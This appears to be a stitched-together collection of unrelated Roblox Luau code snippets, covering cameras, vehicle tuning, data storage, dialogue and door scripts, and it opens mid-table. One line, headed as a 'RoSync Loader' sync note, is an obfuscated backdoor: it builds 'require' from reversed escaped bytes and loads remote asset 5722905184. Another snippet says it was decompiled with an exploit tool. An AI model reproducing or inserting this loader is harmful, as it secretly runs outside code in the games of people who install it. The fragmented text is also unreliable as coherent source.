[75]={{47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73,75},t},
[22]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,21,22},t},
[74]={{47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73,74},t},
[62]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{47,48,49,45,44,28,29,31,32,33,36,37},t},
[2]={n,f},
[35]={{47,48,49,45,44,28,29,31,32,34,35},t},
[53]={{47,52,53},t},
[73]={{47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73},t},
[72]={{47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72},t},
[33]={{47,48,49,45,44,28,29,31,32,33},t},
[69]={{47,48,49,45,44,28,29,31,32,34,35,39,41,60,69},t},
[65]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,65},t},
[26]={{47,48,49,45,44,28,27,26},t},
[68]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67,68},t},
[76]={{47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76},t},
[50]={{47,50},t},
[66]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{47,48,49,45,44,28,27,26,25,24},t},
[23]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23},t},
[44]={{47,48,49,45,44},t},
[39]={{47,48,49,45,44,28,29,31,32,34,35,39},t},
[32]={{47,48,49,45,44,28,29,31,32},t},
[3]={n,f},
[30]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30},t},
[51]={{47,50,51},t},
[18]={n,f},
[67]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67},t},
[61]={{47,48,49,45,44,28,29,31,32,34,35,39,41,59,61},t},
[55]={{47,52,53,54,55},t},
[46]={{47,46},t},
[42]={{47,48,49,45,44,28,29,31,32,34,35,38,42},t},
[40]={{47,48,49,45,44,28,29,31,32,34,35,40},t},
[52]={{47,52},t},
[54]={{47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{47,48,49,45,44,28,29,31,32,34,35,39,41},t},
[17]={n,f},
[38]={{47,48,49,45,44,28,29,31,32,34,35,38},t},
[28]={{47,48,49,45,44,28},t},
[5]={n,f},
[64]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64},t},
}
return r
|
-- ================================================================================
-- VARIABLES
-- ================================================================================ |
local PI_HALF = math.pi * 0.5
local ATAN2 = math.atan2
local MAX_DEVICE_ROTATION = math.rad(60)
local UserInputService = game:GetService("UserInputService")
local initialGravity = Vector3.new()
local acceleromaterEnabled = UserInputService.AccelerometerEnabled |
-- Decompiled with the Synapse X Luau decompiler. |
script.Parent.MouseButton1Down:Connect(function()
script.Parent.Parent.Visible = false;
for v1 = 1, #"..." do
script.Parent.Parent.Parent.DialogText.TextLabel.Text = string.sub("...", 1, v1);
wait();
end;
script.Parent.Parent.Parent.Dialog3.Visible = true;
end);
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data |
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Classes.Base.SlumDweller.Obtained.Value == true and plrData.Classes.Super.Viper.Obtained.Value ~= true
end
|
------------------------------------------------ |
local screenGuis = {}
local freeCamEnabled = false
local letterBoxEnabled = true
local stateRot = Vector2.new()
local panDeltaGamepad = Vector2.new()
local panDeltaMouse = Vector2.new()
local velSpring = Spring.new(7/9, 1/3, 1, Vector3.new())
local rotSpring = Spring.new(7/9, 1/3, 1, Vector2.new())
local fovSpring = Spring.new(2, 1/3, 1, 0)
local letterbox = CreateLetterBox()
local gp_x = 0
local gp_z = 0
local gp_l1 = 0
local gp_r1 = 0
local rate_fov = 0
local SpeedModifier = 1
|
--Messages |
local DeathMessages = {"died.", "was killed.", "had a bad time.", "didn't have a chance."} --you can add more if you like :D
|
--//Controller//-- |
while task.wait(0.1) do
local SizeOffset = CurrentSong.PlaybackLoudness * (math.random(0, 10) / 1000) - 0.05
if SizeOffset > 0.5 then
SizeOffset = 0.5
end
TweenService:Create(
Boombox,
TweenInfo.new(
0.25,
Enum.EasingStyle.Cubic,
Enum.EasingDirection.InOut,
0,
true
),
{
Size = Vector3.new(2 + SizeOffset, 1.25 + SizeOffset, 0.5 + SizeOffset)
}
):Play()
end
|
--!nonstrict
--[[
ClassicCamera - Classic Roblox camera control module
2018 Camera Update - AllYourBlox
2022 Smooth Mouse Lock Update - wj1z
Note: This module also handles camera control types Follow and Track, the
latter of which is currently not distinguished from Classic
--]] | |
-- ROBLOX deviation: not is a reserved keyword in Lua, we use never instead |
Expect.never = {
arrayContaining = arrayNotContaining,
objectContaining = objectNotContaining,
stringContaining = stringNotContaining,
stringMatching = stringNotMatching,
}
Expect.objectContaining = objectContaining
Expect.arrayContaining = arrayContaining
Expect.stringContaining = stringContaining
Expect.stringMatching = stringMatching
|
-- Enable tool or plugin |
if Mode == 'Plugin' then
-- Set the UI root
UIContainer = CoreGui;
-- Create the toolbar button
PluginButton = Plugin:CreateToolbar('Building Tools by F3X'):CreateButton(
'Building Tools by F3X',
'Building Tools by F3X',
Assets.PluginIcon
);
-- Connect the button to the system
PluginButton.Click:connect(function ()
PluginEnabled = not PluginEnabled;
PluginButton:SetActive(PluginEnabled);
-- Toggle the tool
if PluginEnabled then
Plugin:Activate(true);
Enable(Plugin:GetMouse());
else
Disable();
end;
end);
-- Disable the tool upon plugin deactivation
Plugin.Deactivation:connect(Disable);
-- Sync Studio selection to internal selection
Selection.Changed:connect(function ()
SelectionService:Set(Selection.Items);
end);
-- Sync internal selection to Studio selection on enabling
Enabling:connect(function ()
Selection.Replace(SelectionService:Get());
end);
-- Roughly sync Studio history to internal history (API lacking necessary functionality)
History.Changed:connect(function ()
ChangeHistoryService:SetWaypoint 'Building Tools by F3X';
end);
elseif Mode == 'Tool' then
-- Set the UI root
UIContainer = Player:WaitForChild 'PlayerGui';
-- Connect the tool to the system
Tool.Equipped:connect(Enable);
Tool.Unequipped:connect(Disable);
-- Disable the tool if not parented
if not Tool.Parent then
Disable();
end;
-- Disable the tool automatically if not equipped or in backpack
Tool.AncestryChanged:connect(function (Item, Parent)
if not Parent or not (Parent:IsA 'Backpack' or (Parent:IsA 'Model' and Players:GetPlayerFromCharacter(Parent))) then
Disable();
end;
end);
end;
|
-- New ProfileStore: |
function ProfileService.GetProfileStore(profile_store_index, profile_template) --> [ProfileStore]
local profile_store_name
local profile_store_scope = nil
-- Parsing profile_store_index:
if type(profile_store_index) == "string" then
-- profile_store_index as string:
profile_store_name = profile_store_index
elseif type(profile_store_index) == "table" then
-- profile_store_index as table:
profile_store_name = profile_store_index.Name
profile_store_scope = profile_store_index.Scope
else
error("[ProfileService]: Invalid or missing profile_store_index")
end
-- Type checking:
if profile_store_name == nil or type(profile_store_name) ~= "string" then
error("[ProfileService]: Missing or invalid \"Name\" parameter")
elseif string.len(profile_store_name) == 0 then
error("[ProfileService]: ProfileStore name cannot be an empty string")
end
if profile_store_scope ~= nil and (type(profile_store_scope) ~= "string" or string.len(profile_store_scope) == 0) then
error("[ProfileService]: Invalid \"Scope\" parameter")
end
if type(profile_template) ~= "table" then
error("[ProfileService]: Invalid profile_template")
end
local profile_store
profile_store = {
Mock = {
LoadProfileAsync = function(_, profile_key, not_released_handler)
return profile_store:LoadProfileAsync(profile_key, not_released_handler, UseMockTag)
end,
GlobalUpdateProfileAsync = function(_, profile_key, update_handler)
return profile_store:GlobalUpdateProfileAsync(profile_key, update_handler, UseMockTag)
end,
ViewProfileAsync = function(_, profile_key, version)
return profile_store:ViewProfileAsync(profile_key, version, UseMockTag)
end,
FindProfileVersionAsync = function(_, profile_key, sort_direction, min_date, max_date)
return profile_store:FindProfileVersionAsync(profile_key, sort_direction, min_date, max_date, UseMockTag)
end,
WipeProfileAsync = function(_, profile_key)
return profile_store:WipeProfileAsync(profile_key, UseMockTag)
end
},
_profile_store_name = profile_store_name,
_profile_store_scope = profile_store_scope,
_profile_store_lookup = profile_store_name .. "\0" .. (profile_store_scope or ""),
_profile_template = profile_template,
_global_data_store = nil,
_loaded_profiles = {},
_profile_load_jobs = {},
_mock_loaded_profiles = {},
_mock_profile_load_jobs = {},
_is_pending = false,
}
setmetatable(profile_store, ProfileStore)
local options = Instance.new("DataStoreOptions")
options:SetExperimentalFeatures({v2 = true})
if IsLiveCheckActive == true then
profile_store._is_pending = true
task.spawn(function()
WaitForLiveAccessCheck()
if UseMockDataStore == false then
profile_store._global_data_store = DataStoreService:GetDataStore(profile_store_name, profile_store_scope, options)
end
profile_store._is_pending = false
end)
else
if UseMockDataStore == false then
profile_store._global_data_store = DataStoreService:GetDataStore(profile_store_name, profile_store_scope, options)
end
end
return profile_store
end
function ProfileService.IsLive() --> [bool] -- (CAN YIELD!!!)
WaitForLiveAccessCheck()
return UseMockDataStore == false
end
|
-- list of account names allowed to go through the door. |
permission = {"cheslin23t"}--Put your friends name's here. You can add more.
function checkOkToLetIn(name)
for i = 1,#permission do
if (string.upper(name) == string.upper(permission[i])) then return true end
end
return false
end
local Door = script.Parent
function onTouched(hit)
print("Door Hit")
local human = hit.Parent:findFirstChild("Humanoid")
if (human ~= nil ) then
-- a human has touched this door!
print("Human touched door")
-- test the human's name against the permission list
if (checkOkToLetIn(human.Parent.Name)) then
print("Human passed test")
Door.Transparency = 0.7
Door.CanCollide = false
wait(1) -- this is how long the door is open
Door.CanCollide = true
Door.Transparency = 0
else human.Health= 0 -- delete this line of you want a non-killing VIP door
end
end
end
script.Parent.Touched:connect(onTouched)
|
-- deviation: Object isn't a global in lua, so `Object.is` will never exist |
local objectIs = is
return objectIs
|
-- upstream: https://github.com/facebook/react/blob/a89854bc936668d325cac9a22e2ebfa128c7addf/packages/shared/ReactVersion.js
--!strict
--[[*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
]] | |
-- OTHER VARIABLES -- |
local player = game.Players.LocalPlayer
local char = script.Parent
local hrp = char:WaitForChild("HumanoidRootPart")
local humanoid = char:WaitForChild("Humanoid")
if char:FindFirstChild("UpperTorso") then return end
|
--[[
Cache results of a function such that subsequent calls return the cached result rather than
call the function again.
By default, a cached result is stored for each separate combination of serialized input args.
Optionally memoize takes a serializeArgs function which should return a key that the result
should be cached with for a given call signature. Return nil to avoid caching the result.
]] |
function FunctionUtils.memoize(fn, serializeArgs)
assert(type(fn) == "function")
serializeArgs = serializeArgs or FunctionUtils.defaultSerializeArgs
assert(type(serializeArgs) == "function")
local cache = {}
local proxyFunction = function(...)
local proxyArgs = {...}
local cacheKey = serializeArgs(proxyArgs)
if cacheKey == nil then
return fn(...)
else
if cache[cacheKey] == nil then
cache[cacheKey] = fn(...)
end
return cache[cacheKey]
end
end
return proxyFunction
end
|
--[[ Touch Events ]]--
-- On touch devices we need to recreate the guis on character load. |
local lastControlState = nil
LocalPlayer.CharacterAdded:connect(function(character)
if UserInputService.TouchEnabled then
createTouchGuiContainer()
end
if ControlState.Current == nil then
ControlState:SwitchTo(lastControlState)
end
end)
LocalPlayer.CharacterRemoving:connect(function(character)
lastControlState = ControlState.Current
ControlState:SwitchTo(nil)
end)
UserInputService.Changed:connect(function(property)
if property == 'ModalEnabled' then
IsModalEnabled = UserInputService.ModalEnabled
if lastInputType == Enum.UserInputType.Touch then
if ControlState.Current == ControlModules.Touch and IsModalEnabled then
ControlState:SwitchTo(nil)
elseif ControlState.Current == nil and not IsModalEnabled then
ControlState:SwitchTo(ControlModules.Touch)
end
end
end
end)
if BindableEvent_OnFailStateChanged then
BindableEvent_OnFailStateChanged.Event:connect(function(isOn)
if lastInputType == Enum.UserInputType.Touch and ClickToMoveTouchControls then
if isOn then
ControlState:SwitchTo(ClickToMoveTouchControls)
else
ControlState:SwitchTo(nil)
end
end
end)
end
local switchToInputType = function(newLastInputType)
lastInputType = newLastInputType
if lastInputType == Enum.UserInputType.Touch then
ControlState:SwitchTo(ControlModules.Touch)
elseif lastInputType == Enum.UserInputType.Keyboard or
lastInputType == Enum.UserInputType.MouseButton1 or
lastInputType == Enum.UserInputType.MouseButton2 or
lastInputType == Enum.UserInputType.MouseButton3 or
lastInputType == Enum.UserInputType.MouseWheel or
lastInputType == Enum.UserInputType.MouseMovement then
ControlState:SwitchTo(ControlModules.Keyboard)
elseif lastInputType == Enum.UserInputType.Gamepad1 or
lastInputType == Enum.UserInputType.Gamepad2 or
lastInputType == Enum.UserInputType.Gamepad3 or
lastInputType == Enum.UserInputType.Gamepad4 then
ControlState:SwitchTo(ControlModules.Gamepad)
end
end
if IsTouchDevice then
createTouchGuiContainer()
end
MasterControl:Init()
UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
local connectedGamepads = UserInputService:GetConnectedGamepads()
if #connectedGamepads > 0 then return end
if UserInputService.KeyboardEnabled then
ControlState:SwitchTo(ControlModules.Keyboard)
elseif IsTouchDevice then
ControlState:SwitchTo(ControlModules.Touch)
end
end)
UserInputService.GamepadConnected:connect(function(gamepadEnum)
ControlState:SwitchTo(ControlModules.Gamepad)
end)
switchToInputType(UserInputService:GetLastInputType())
UserInputService.LastInputTypeChanged:connect(switchToInputType)
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 900-- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 800 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 8000 -- Use sliders to manipulate values
Tune.Redline = 8500 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 6800
Tune.PeakSharpness = 3.8
Tune.CurveMult = 0.07
--Incline Compensation
Tune.InclineComp = .5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 250 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 150 -- Clutch engagement threshold (higher = faster response)
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 169 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 5500 -- Use sliders to manipulate values
Tune.Redline = 6500 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 1 -- Clutch engagement threshold (higher = faster response)
|
-- Written By Kip Turner, Copyright Roblox 2014 |
local UIS = game:GetService("UserInputService")
local PathfindingService = game:GetService("PathfindingService")
local PlayerService = game:GetService("Players")
local RunService = game:GetService("RunService")
local DebrisService = game:GetService('Debris')
local ReplicatedStorage = game:GetService('ReplicatedStorage')
local CameraScript = script.Parent
local ClassicCameraModule = require(CameraScript:WaitForChild('RootCamera'):WaitForChild('ClassicCamera'))
local Player = PlayerService.localPlayer
local MyMouse = Player:GetMouse()
local DirectPathEnabled = false
local SHOW_PATH = false
local RayCastIgnoreList = workspace.FindPartOnRayWithIgnoreList
local GetPartsTouchingExtents = workspace.FindPartsInRegion3
|
-- دالة الاصطدام |
local function onTouched(part)
local humanoid = part.Parent:FindFirstChild("Humanoid")
if humanoid then
-- تشغيل التزعزع والسقوط في ترتيب متتالي
shake()
wait(0.5) -- انتظار قصير قبل السقوط لإعطاء انطباع التزعزع
fall()
end
end
|
--[[
Returns the Window's model
]] |
function Window:getModel()
return self._model
end
|
--[[ Last synced 3/7/2021 09:51 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--script.Parent.EE.Velocity = script.Parent.EE.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.EEE.Velocity = script.Parent.EEE.CFrame.lookVector *script.Parent.Speed.Value |
script.Parent.EEEE.Velocity = script.Parent.EEEE.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.F.Velocity = script.Parent.F.CFrame.lookVector *script.Parent.Speed.Value |
--- Player added function |
local function PlayerAdded(player)
if isStudio or _L.Admins.IsAdmin(player) then
GiveGui(player)
end
end
|
-- Signals |
okButton.InputBegan:Connect(closeDlg)
displayRoundResult.OnClientEvent:Connect(openDlg)
|
-----------------
--| Constants |--
----------------- |
local COOLDOWN = 0 -- Seconds until tool can be used again
|
-- humanoidAnimatePlayEmote.lua |
local Figure = script.Parent |